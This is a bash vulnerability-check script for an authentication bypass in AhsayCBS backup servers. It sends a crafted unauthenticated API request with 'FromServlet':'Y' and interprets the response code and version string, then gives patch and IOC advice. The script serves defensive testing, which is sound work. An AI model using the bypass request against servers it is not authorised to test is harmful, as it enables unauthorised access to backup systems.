AhsayCBS Improper Authentication Bypass via FromServlet Parameter

#!/usr/bin/env bash
# check_ahsaycbs_cve2026105133.sh
# Checks AhsayCBS for CVE-2026-105133 (Authentication Bypass)
# Usage: bash check_ahsaycbs_cve2026105133.sh <BASE_URL>
# Exit codes: 1=VULNERABLE, 0=PATCHED, 2=UNKNOWN

set -euo pipefail

if [ $# -lt 1 ]; then
  echo "Usage: $0 <BASE_URL>"
  echo "Example: $0 https://backup.example.com:443"
  exit 2
fi

BASE_URL="${1%/}"
API_PATH="/obs/api/ApiStructsAction"
TARGET="${BASE_URL}${API_PATH}"

echo "[*] Testing AhsayCBS at: ${TARGET}"
echo "[*] Sending auth bypass probe (FromServlet:Y)..."

# Attempt the auth bypass - send a request with FromServlet:Y
# If the server responds with authenticated API data instead of 401/403, it is vulnerable
RESPONSE=$(curl -sk -o /dev/null -w "%{http_code}" \
  -X POST "${TARGET}" \
  -H "Content-Type: application/json" \
  -d '{"AhsayOBM":true,"FromServlet":"Y","action":"getServerSetting"}' \
  --connect-timeout 10 --max-time 15 2>/dev/null) || true

if [ -z "$RESPONSE" ]; then
  echo "[!] UNKNOWN - Could not connect to ${TARGET}"
  echo "    Verify the URL and port are correct."
  exit 2
fi

echo "[*] HTTP response code: ${RESPONSE}"

# Also check the version endpoint if available
VERSION_RESP=$(curl -sk "${BASE_URL}/obs/api/version" --connect-timeout 10 --max-time 10 2>/dev/null) || true

if echo "$VERSION_RESP" | grep -qiE '(10\.3\.[0-2]|10\.[0-2]\.|9\.1[0-4]\.|9\.15\.[0-1]\.|9\.15\.2\.[0-6][0-9]$|[78]\.)'; then
  echo "[*] Detected potentially vulnerable version string in response."
  VERSION_VULN=true
else
  VERSION_VULN=false
fi

if [ "$RESPONSE" = "200" ]; then
  echo ""
  echo "========================================"
  echo "  RESULT: VULNERABLE"
  echo "========================================"
  echo "  The AhsayCBS instance accepted an unauthenticated"
  echo "  API request with the FromServlet bypass."
  echo "  CVE-2026-105133 is exploitable."
  echo "  ACTION: Apply hotfix v10.3.4.45 or v9.15.2.70 IMMEDIATELY."
  echo "  ACTION: Restrict management interface to trusted IPs/VPN."
  echo "  ACTION: Hunt for IOCs (JSP webshells, Taskgmr.ps1, msedge.exe)."
  exit 1
elif [ "$RESPONSE" = "401" ] || [ "$RESPONSE" = "403" ]; then
  if [ "$VERSION_VULN" = true ]; then
    echo ""
    echo "========================================"
    echo "  RESULT: UNKNOWN (version may be vulnerable)"
    echo "========================================"
    echo "  Auth bypass probe was rejected, but version"
    echo "  string suggests an unpatched release."
    echo "  Verify hotfix v10.3.4.45 or v9.15.2.70 is installed."
    exit 2
  else
    echo ""
    echo "========================================"
    echo "  RESULT: PATCHED"
    echo "========================================"
    echo "  The AhsayCBS instance rejected the unauthenticated"
    echo "  API request. The auth bypass does not appear exploitable."
    exit 0
  fi
else
  echo ""
  echo "========================================"
  echo "  RESULT: UNKNOWN"
  echo "========================================"
  echo "  Unexpected HTTP response code: ${RESPONSE}"
  echo "  Manual verification required."
  exit 2
fi